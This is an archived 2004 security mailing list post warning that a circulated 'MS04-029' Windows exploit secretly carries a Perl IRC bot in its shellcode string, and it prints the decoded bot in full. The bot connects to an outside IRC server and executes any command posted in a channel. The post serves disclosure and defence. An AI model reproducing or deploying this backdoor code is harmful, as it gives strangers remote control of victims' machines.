[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <1099516746.7942.13.camel@www.bsrf.org.uk>
From: barrie at reboot-robot.net (Barrie Dempster)
Subject: New Remote Windows Exploit (MS04-029)
Excellent exploit, I'm sure no one will spot that perl IRC bot in there,
nope no one will see that...
(hint for the readers, try looking at the ascii out put of the "char
*shellcode_payload=" data, looks a little like the following....)
[code]
#!/usr/bin/perl
$c
han="#0x";$nick="k
";$server="ir3ip.n
et";$SIG{TERM}={};
exit if fork;use I
O::Socket;$sock =
IO::Socket::INET->
new($server.":6667
")||exit;print $so
ck "USER k +i k :k
v1\nNICK k\n";$i=1
;while(<$sock>=~/^
[^ ]+ ([^ ]+) /){$
mode=$1;last if $m
ode=="001";if($mod
e=="433"){$i++;$ni
ck=~s/\d*$/$i/;pri
nt $sock "NICK $ni
ck\n";}}print $soc
k "JOIN $chan\nPRI
VMSG $chan :Hi\n";
while(<$sock>){if
(/^PING (.*)$/){pr
int $sock "PONG $1
\nJOIN $chan\n";}i
f(s/^[^ ]+ PRIVMSG
$chan :$nick[^ :\
w]*:[^ :\w]* (.*)$
/$1/){s/\s*$//;$_=
`$_`;foreach(split
"\n"){print $sock
"PRIVMSG $chan :$
_\n";sleep 1;}}}#/
tmp/hi
[/code]
--
Barrie Dempster (zeedo) - Fortiter et Strenue
http://www.bsrf.org.uk
[ gpg --recv-keys --keyserver www.keyserver.net 0x96025FD0 ]
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20041103/f27b97a0/attachment.bin
Powered by blists - more mailing lists